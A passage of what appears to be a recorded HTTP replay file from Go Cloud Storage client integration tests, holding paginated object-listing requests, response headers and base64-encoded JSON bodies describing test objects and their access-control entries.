YW0iOiJ2aWV3ZXJzIn0sImV0YWciOiJDT3F1cnJ6eC9lRUNFQUU9In0seyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvb2JqL3dpdGgvc2xhc2hlcy8xNTU2ODM1ODQ1NTExMDE4L3VzZXItYW5vdGhlci10aGluZ0BkZWtsZXJrLXNhbmRib3guaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20iLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvby9vYmolMkZ3aXRoJTJGc2xhc2hlcy9hY2wvdXNlci1hbm90aGVyLXRoaW5nQGRla2xlcmstc2FuZGJveC5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMSIsIm9iamVjdCI6Im9iai93aXRoL3NsYXNoZXMiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg0NTUxMTAxOCIsImVudGl0eSI6InVzZXItYW5vdGhlci10aGluZ0BkZWtsZXJrLXNhbmRib3guaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20iLCJyb2xlIjoiT1dORVIiLCJlbWFpbCI6ImFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIiwiZXRhZyI6IkNPcXVycnp4L2VFQ0VBRT0ifV0sIm93bmVyIjp7ImVudGl0eSI6InVzZXItYW5vdGhlci10aGluZ0BkZWtsZXJrLXNhbmRib3guaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20ifSwiY3JjMzJjIjoib2VvK0ZBPT0iLCJldGFnIjoiQ09xdXJyengvZUVDRUFFPSJ9XX0=" - } - }, - { - "ID": "ca654b46531c4cb2", - "Request": { - "Method": "GET", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0001/o?alt=json\u0026delimiter=\u0026maxResults=1\u0026pageToken=ChBvYmovd2l0aC9zbGFzaGVz\u0026prefix=obj\u0026prettyPrint=false\u0026projection=full\u0026versions=false", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "private, max-age=0, must-revalidate, no-transform" - ], - "Content-Length": [ - "3214" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:24:07 GMT" - ], - "Expires": [ - "Thu, 02 May 2019 22:24:07 GMT" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UqINI0Ii418NlxoYErOrjhTKb3-G3n-8h1Ryc_4YT4Tksc7WXA9m4CcJWInyhJahYC-UUrM47O5EK-3FUt3toZOZxWlbwhE6Sfnra0H-CqjmvxWyRs" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNvYmplY3RzIiwibmV4dFBhZ2VUb2tlbiI6IkNnUnZZbW94IiwiaXRlbXMiOlt7ImtpbmQiOiJzdG9yYWdlI29iamVjdCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL29iajEvMTU1NjgzNTg0NDY0NzIyNSIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vL29iajEiLCJuYW1lIjoib2JqMSIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMSIsImdlbmVyYXRpb24iOiIxNTU2ODM1ODQ0NjQ3MjI1IiwibWV0YWdlbmVyYXRpb24iOiIxIiwiY29udGVudFR5cGUiOiJ0ZXh0L3BsYWluIiwidGltZUNyZWF0ZWQiOiIyMDE5LTA1LTAyVDIyOjI0OjA0LjY0NloiLCJ1cGRhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNDowNC42NDZaIiwic3RvcmFnZUNsYXNzIjoiU1RBTkRBUkQiLCJ0aW1lU3RvcmFnZUNsYXNzVXBkYXRlZCI6IjIwMTktMDUtMDJUMjI6MjQ6MDQuNjQ2WiIsInNpemUiOiIxNiIsIm1kNUhhc2giOiJTbmEvVVd2N21jWkkyM29FNXRVYWJRPT0iLCJtZWRpYUxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9kb3dubG9hZC9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL28vb2JqMT9nZW5lcmF0aW9uPTE1NTY4MzU4NDQ2NDcyMjUmYWx0PW1lZGlhIiwiY2FjaGVDb250cm9sIjoicHVibGljLCBtYXgtYWdlPTYwIiwiYWNsIjpbeyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvb2JqMS8xNTU2ODM1ODQ0NjQ3MjI1L3Byb2plY3Qtb3duZXJzLTQ5NjE2OTYwMTcxNCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vL29iajEvYWNsL3Byb2plY3Qtb3duZXJzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMSIsIm9iamVjdCI6Im9iajEiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg0NDY0NzIyNSIsImVudGl0eSI6InByb2plY3Qtb3duZXJzLTQ5NjE2OTYwMTcxNCIsInJvbGUiOiJPV05FUiIsInByb2plY3RUZWFtIjp7InByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJ0ZWFtIjoib3duZXJzIn0sImV0YWciOiJDTG5TK2J2eC9lRUNFQUU9In0seyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvb2JqMS8xNTU2ODM1ODQ0NjQ3MjI1L3Byb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvby9vYmoxL2FjbC9wcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0IiwiYnVja2V0IjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxIiwib2JqZWN0Ijoib2JqMSIsImdlbmVyYXRpb24iOiIxNTU2ODM1ODQ0NjQ3MjI1IiwiZW50aXR5IjoicHJvamVjdC1lZGl0b3JzLTQ5NjE2OTYwMTcxNCIsInJvbGUiOiJPV05FUiIsInByb2plY3RUZWFtIjp7InByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJ0ZWFtIjoiZWRpdG9ycyJ9LCJldGFnIjoiQ0xuUytidngvZUVDRUFFPSJ9LHsia2luZCI6InN0b3JhZ2Ujb2JqZWN0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL29iajEvMTU1NjgzNTg0NDY0NzIyNS9wcm9qZWN0LXZpZXdlcnMtNDk2MTY5NjAxNzE0Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL28vb2JqMS9hY2wvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMSIsIm9iamVjdCI6Im9iajEiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg0NDY0NzIyNSIsImVudGl0eSI6InByb2plY3Qtdmlld2Vycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiUkVBREVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJ2aWV3ZXJzIn0sImV0YWciOiJDTG5TK2J2eC9lRUNFQUU9In0seyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvb2JqMS8xNTU2ODM1ODQ0NjQ3MjI1L3VzZXItYW5vdGhlci10aGluZ0BkZWtsZXJrLXNhbmRib3guaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20iLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvby9vYmoxL2FjbC91c2VyLWFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIiwiYnVja2V0IjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxIiwib2JqZWN0Ijoib2JqMSIsImdlbmVyYXRpb24iOiIxNTU2ODM1ODQ0NjQ3MjI1IiwiZW50aXR5IjoidXNlci1hbm90aGVyLXRoaW5nQGRla2xlcmstc2FuZGJveC5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSIsInJvbGUiOiJPV05FUiIsImVtYWlsIjoiYW5vdGhlci10aGluZ0BkZWtsZXJrLXNhbmRib3guaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20iLCJldGFnIjoiQ0xuUytidngvZUVDRUFFPSJ9XSwib3duZXIiOnsiZW50aXR5IjoidXNlci1hbm90aGVyLXRoaW5nQGRla2xlcmstc2FuZGJveC5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSJ9LCJjcmMzMmMiOiJDVDZkVEE9PSIsImV0YWciOiJDTG5TK2J2eC9lRUNFQUU9In1dfQ==" - } - }, - { - "ID": "0186889a60e651db", - "Request": { - "Method": "GET", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0001/o?alt=json\u0026delimiter=\u0026maxResults=1\u0026pageToken=CgRvYmox\u0026prefix=obj\u0026prettyPrint=false\u0026projection=full\u0026versions=false", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "private, max-age=0, must-revalidate, no-transform" - ], - "Content-Length": [ - "3187" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:24:07 GMT" - ], - "Expires": [ - "Thu, 02 May 2019 22:24:07 GMT" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UpFTK3QnFf4m9htpY4s3P9_NHuDiQl8InpJoWPOaQHo0XaYnSoSqkH7CcUbm0-sWamsCZbd4DHoXHLCrea3ff9rLpWlptkL0aMKV_Dleb1Xm-j14fQ" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNvYmplY3RzIiwiaXRlbXMiOlt7ImtpbmQiOiJzdG9yYWdlI29iamVjdCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL29iajIvMTU1NjgzNTg0NTA0OTI0NSIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vL29iajIiLCJuYW1lIjoib2JqMiIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMSIsImdlbmVyYXRpb24iOiIxNTU2ODM1ODQ1MDQ5MjQ1IiwibWV0YWdlbmVyYXRpb24iOiIxIiwiY29udGVudFR5cGUiOiJ0ZXh0L3BsYWluIiwidGltZUNyZWF0ZWQiOiIyMDE5LTA1LTAyVDIyOjI0OjA1LjA0OFoiLCJ1cGRhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNDowNS4wNDhaIiwic3RvcmFnZUNsYXNzIjoiU1RBTkRBUkQiLCJ0aW1lU3RvcmFnZUNsYXNzVXBkYXRlZCI6IjIwMTktMDUtMDJUMjI6MjQ6MDUuMDQ4WiIsInNpemUiOiIxNiIsIm1kNUhhc2giOiJDQzF3bHdyTU9JcTBkdk1rTXlsVWhnPT0iLCJtZWRpYUxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9kb3dubG9hZC9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL28vb2JqMj9nZW5lcmF0aW9uPTE1NTY4MzU4NDUwNDkyNDUmYWx0PW1lZGlhIiwiY2FjaGVDb250cm9sIjoicHVibGljLCBtYXgtYWdlPTYwIiwiYWNsIjpbeyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvb2JqMi8xNTU2ODM1ODQ1MDQ5MjQ1L3Byb2plY3Qtb3duZXJzLTQ5NjE2OTYwMTcxNCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vL29iajIvYWNsL3Byb2plY3Qtb3duZXJzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMSIsIm9iamVjdCI6Im9iajIiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg0NTA0OTI0NSIsImVudGl0eSI6InByb2plY3Qtb3duZXJzLTQ5NjE2OTYwMTcxNCIsInJvbGUiOiJPV05FUiIsInByb2plY3RUZWFtIjp7InByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJ0ZWFtIjoib3duZXJzIn0sImV0YWciOiJDSjJYa3J6eC9lRUNFQUU9In0seyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvb2JqMi8xNTU2ODM1ODQ1MDQ5MjQ1L3Byb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvby9vYmoyL2FjbC9wcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0IiwiYnVja2V0IjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxIiwib2JqZWN0Ijoib2JqMiIsImdlbmVyYXRpb24iOiIxNTU2ODM1ODQ1MDQ5MjQ1IiwiZW50aXR5IjoicHJvamVjdC1lZGl0b3JzLTQ5NjE2OTYwMTcxNCIsInJvbGUiOiJPV05FUiIsInByb2plY3RUZWFtIjp7InByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJ0ZWFtIjoiZWRpdG9ycyJ9LCJldGFnIjoiQ0oyWGtyengvZUVDRUFFPSJ9LHsia2luZCI6InN0b3JhZ2Ujb2JqZWN0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL29iajIvMTU1NjgzNTg0NTA0OTI0NS9wcm9qZWN0LXZpZXdlcnMtNDk2MTY5NjAxNzE0Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL28vb2JqMi9hY2wvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMSIsIm9iamVjdCI6Im9iajIiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg0NTA0OTI0NSIsImVudGl0eSI6InByb2plY3Qtdmlld2Vycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiUkVBREVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJ2aWV3ZXJzIn0sImV0YWciOiJDSjJYa3J6eC9lRUNFQUU9In0seyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvb2JqMi8xNTU2ODM1ODQ1MDQ5MjQ1L3VzZXItYW5vdGhlci10aGluZ0BkZWtsZXJrLXNhbmRib3guaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20iLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvby9vYmoyL2FjbC91c2VyLWFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIiwiYnVja2V0IjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxIiwib2JqZWN0Ijoib2JqMiIsImdlbmVyYXRpb24iOiIxNTU2ODM1ODQ1MDQ5MjQ1IiwiZW50aXR5IjoidXNlci1hbm90aGVyLXRoaW5nQGRla2xlcmstc2FuZGJveC5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSIsInJvbGUiOiJPV05FUiIsImVtYWlsIjoiYW5vdGhlci10aGluZ0BkZWtsZXJrLXNhbmRib3guaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20iLCJldGFnIjoiQ0oyWGtyengvZUVDRUFFPSJ9XSwib3duZXIiOnsiZW50aXR5IjoidXNlci1hbm90aGVyLXRoaW5nQGRla2xlcmstc2FuZGJveC5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSJ9LCJjcmMzMmMiOiJqVjVBVlE9PSIsImV0YWciOiJDSjJYa3J6eC9lRUNFQUU9In1dfQ==" - } - }, - { - "ID": "a253776f79c46fe1", - "Request": { - "Method": "GET", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0001/o?alt=json\u0026delimiter=\u0026maxResults=1\u0026pageToken=\u0026prefix=obj\u0026prettyPrint=false\u0026projection=full\u0026versions=false", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "private, max-age=0, must-revalidate, no-transform" - ], - "Content-Length": [ - "3446" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:24:07 GMT" - ], - "Expires": [ - "Thu, 02 May 2019 22:24:07 GMT" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2Uoadifz-4B7kC7DvXOyrNa5omK5-DXUNJBtT_d5I1jciPUvGlRm1L1vkvVMU1Y5n9zFig2CF_qqBLlcdvoYCaUeaNUu706L0fKJhJkA8vV5JUvFq0E" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNvYmplY3RzIiwibmV4dFBhZ2VUb2tlbiI6IkNoQnZZbW92ZDJsMGFDOXpiR0Z6YUdWeiIsIml0ZW1zIjpbeyJraW5kIjoic3RvcmFnZSNvYmplY3QiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vYmovd2l0aC9zbGFzaGVzLzE1NTY4MzU4NDU1MTEwMTgiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvby9vYmolMkZ3aXRoJTJGc2xhc2hlcyIsIm5hbWUiOiJvYmovd2l0aC9zbGFzaGVzIiwiYnVja2V0IjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxIiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU4NDU1MTEwMTgiLCJtZXRhZ2VuZXJhdGlvbiI6IjEiLCJjb250ZW50VHlwZSI6InRleHQvcGxhaW4iLCJ0aW1lQ3JlYXRlZCI6IjIwMTktMDUtMDJUMjI6MjQ6MDUuNTEwWiIsInVwZGF0ZWQiOiIyMDE5LTA1LTAyVDIyOjI0OjA1LjUxMFoiLCJzdG9yYWdlQ2xhc3MiOiJTVEFOREFSRCIsInRpbWVTdG9yYWdlQ2xhc3NVcGRhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNDowNS41MTBaIiwic2l6ZSI6IjE2IiwibWQ1SGFzaCI6InVlei9oSjZ3QXJlRFFuY2NEVWR4Zmc9PSIsIm1lZGlhTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL2Rvd25sb2FkL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvby9vYmolMkZ3aXRoJTJGc2xhc2hlcz9nZW5lcmF0aW9uPTE1NTY4MzU4NDU1MTEwMTgmYWx0PW1lZGlhIiwiY2FjaGVDb250cm9sIjoicHVibGljLCBtYXgtYWdlPTYwIiwiYWNsIjpbeyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvb2JqL3dpdGgvc2xhc2hlcy8xNTU2ODM1ODQ1NTExMDE4L3Byb2plY3Qtb3duZXJzLTQ5NjE2OTYwMTcxNCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vL29iaiUyRndpdGglMkZzbGFzaGVzL2FjbC9wcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJvYmplY3QiOiJvYmovd2l0aC9zbGFzaGVzIiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU4NDU1MTEwMTgiLCJlbnRpdHkiOiJwcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiT1dORVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6Im93bmVycyJ9LCJldGFnIjoiQ09xdXJyengvZUVDRUFFPSJ9LHsia2luZCI6InN0b3JhZ2Ujb2JqZWN0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL29iai93aXRoL3NsYXNoZXMvMTU1NjgzNTg0NTUxMTAxOC9wcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL28vb2JqJTJGd2l0aCUyRnNsYXNoZXMvYWNsL3Byb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJvYmplY3QiOiJvYmovd2l0aC9zbGFzaGVzIiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU4NDU1MTEwMTgiLCJlbnRpdHkiOiJwcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJlZGl0b3JzIn0sImV0YWciOiJDT3F1cnJ6eC9lRUNFQUU9In0seyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvb2JqL3dpdGgvc2xhc2hlcy8xNTU2ODM1ODQ1NTExMDE4L3Byb2plY3Qtdmlld2Vycy00OTYxNjk2MDE3MTQiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvby9vYmolMkZ3aXRoJTJGc2xhc2hlcy9hY2wvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMSIsIm9iamVjdCI6Im9iai93aXRoL3NsYXNoZXMiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg0NTUxMTAxOCIsImVudGl0eSI6InByb2plY3Qtdmlld2Vycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiUkVBREVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJ2aWV3ZXJzIn0sImV0YWciOiJDT3F1cnJ6eC